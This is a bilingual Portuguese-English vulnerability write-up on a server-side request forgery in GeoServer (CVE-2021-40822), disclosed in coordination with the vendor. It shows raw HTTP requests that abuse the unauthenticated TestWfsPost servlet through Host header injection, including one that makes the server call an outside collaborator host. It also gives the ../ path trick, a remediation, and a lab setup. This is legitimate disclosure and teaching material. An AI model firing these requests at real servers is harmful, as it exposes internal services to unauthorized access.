Pesquisa de VulnerabilidadeVulnerability Research
SSRF no GeoServer (CVE-2021-40822)SSRF in GeoServer (CVE-2021-40822)
Como transformar uma função de teste exposta por padrão no GeoServer — somada a um Host Header Injection — em um Server-Side Request Forgery completo.How a test function exposed by default in GeoServer — combined with a Host Header Injection — becomes a full Server-Side Request Forgery.
- CVE ID
- CVE-2021-40822
- Severity
- High · CVSS 7.5
- Affected
- GeoServer ≤ 2.18.5 · 2.19.x ≤ 2.19.2
- Vendor
- OSGeo · GeoServer
- Disclosure
- Coordenada · CVE atribuídoCoordinated · CVE assigned
- Researcher
- phor3nsic — Vultus
ConteúdoContents
Este artigo mostra como é possível obter um Server-Side Request Forgery completo através da aplicação GeoServer — um servidor open-source para compartilhamento de dados geoespaciais.This article shows how it is possible to obtain a complete Server-Side Request Forgery through the GeoServer application — an open-source server for sharing geospatial data.
IntroduçãoIntroduction
Analisando as funções de teste disponíveis por padrão em todo GeoServer, reparamos na existência de um “TestServlet”. Assim que vimos essa opção, pensamos na hora na possibilidade de um SSRF — e foi com isso em mente que usamos as técnicas abaixo pra burlar algumas validações e chegar num Full SSRF.Analyzing the test functions available by default in every GeoServer, we noticed a “TestServlet”. The moment we saw that option we immediately thought of a possible SSRF — and with that in mind we used the techniques below to bypass a few checks and reach a full SSRF.
Descobrindo a vulnerabilidadeDiscovering the vulnerability
Analisando a função “TestServlet” — disponível sem autenticação por
padrão nos GeoServers — tentamos enviar um host qualquer, tipo http://example.com,
e recebemos uma resposta do tipo:Analyzing the “TestServlet”
function — available without authentication by default on GeoServers — we tried sending any
host, like http://example.com, and got a response of this kind:
Logo percebi que havia restrições. Testei outros protocolos — FILE, FTP, DATA,
entre outros — mas sempre o mesmo erro. Enviei a URL que vem por padrão, parecida com
http://localhost:8090/geoserver.I quickly noticed there
were restrictions. I tried other protocols — FILE, FTP, DATA, among others — but always the
same error. I sent the URL that ships by default, similar to
http://localhost:8090/geoserver.
Tentamos remover a URL e recebemos o mesmo erro, o que indicava que a URI
/geoserver era obrigatória. Até aqui tudo bem — precisávamos, no mínimo, fazer a
requisição chegar a um servidor externo.We tried removing the URL and
got the same error, which suggested the /geoserver URI was required. So far so
good — we needed, at minimum, to make the request reach an external server.
Depois de uma série de tentativas, pensamos em testar um Host Header Injection: se essa validação estivesse sendo feita com base no host atual, eu conseguiria um bypass. Foi quando tentei algo assim:After a series of attempts, we thought about trying a Host Header Injection: if that validation was being done based on the current host, I could get a bypass. That's when I tried something like this:
POST /geoserver/TestWfsPost HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
form_hf_0=&url=http://localhost:8090/geoserver/&body=&username=&password=
E recebi a seguinte resposta:And I got the following response:
Ou seja: o servidor entendeu que meu host é example.com. Então,
se adicionarmos o endpoint, temos SSRF. Montamos a seguinte requisição:So
the server understood that my host is example.com. That means if we add the
endpoint, we have SSRF. We set up the following request:
POST /geoserver/TestWfsPost
Host: poc.burpcollaborator.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 73
form_hf_0=&url=http://poc.burpcollaborator.net/geoserver/&body=&username=&password=
No meu collaborator:On my collaborator:
OK, mas repare que o endpoint /geoserver foi requisitado — o que,
em qualquer servidor, daria um 404. O GeoServer não traz o contexto no corpo da resposta,
deixando o SSRF cego (blind).OK, but notice that the
/geoserver endpoint was requested — which, on any server, would return a 404. The
GeoServer doesn't bring the context back in the response body, leaving the SSRF blind.
Depois de algumas tentativas, percebemos que bastava voltar pra raiz usando
../:After a few tries, we realized we just needed to walk
back to the root using ../:
E é assim que concluímos com um SSRF completo!And that's how we conclude with a full SSRF!
RemediaçãoRemediation
Você pode optar por atualizar para a versão mais nova, ou criar/modificar o
parâmetro proxyBaseUrl no arquivo globals.xml, apontando-o para o
domínio do servidor onde a aplicação está hospedada.You can choose to
update to the newest version, or create/modify the proxyBaseUrl parameter in the
globals.xml file, pointing it to the domain of the server where the application is
hosted.
Hackeie você mesmoHack yourself
Clone o repositório e suba o laboratório:Clone the repository and start the lab:
RepositórioRepository — github.com/phor3nsic/CVE-2021-40822
# sobe o lab / start the lab
docker-compose up
# checa se está vulnerável / check if vulnerable
python3 CVE-2021-40822.py -u http://localhost:8090/
Agora explore por conta própria :) Hack the planet!!!Now explore yourself :) Hack the planet!!!
Linha do tempoTimeline
- 2021-09-03Reportado à equipe do GeoServer.Reported to the GeoServer team.
- 2021-09-10Issue aberta no Jira (GEOS-10229).Issue opened on Jira (GEOS-10229).
- 2022-02-18Número de CVE atribuído.CVE number assigned.
AgradecimentosThanks
Obrigado à equipe @gccybermonks pelo apoio no desenvolvimento da pesquisa, e à equipe de desenvolvimento @planetosgeo.Thanks to the @gccybermonks team for supporting the research development, as well as the @planetosgeo development team.
ReferênciasReferences
- Issue no Jira do OSGeo (GEOS-10229).OSGeo Jira issue (GEOS-10229). https://osgeo-org.atlassian.net/browse/GEOS-10229
- Repositório do PoC / laboratório.PoC / lab repository. https://github.com/phor3nsic/CVE-2021-40822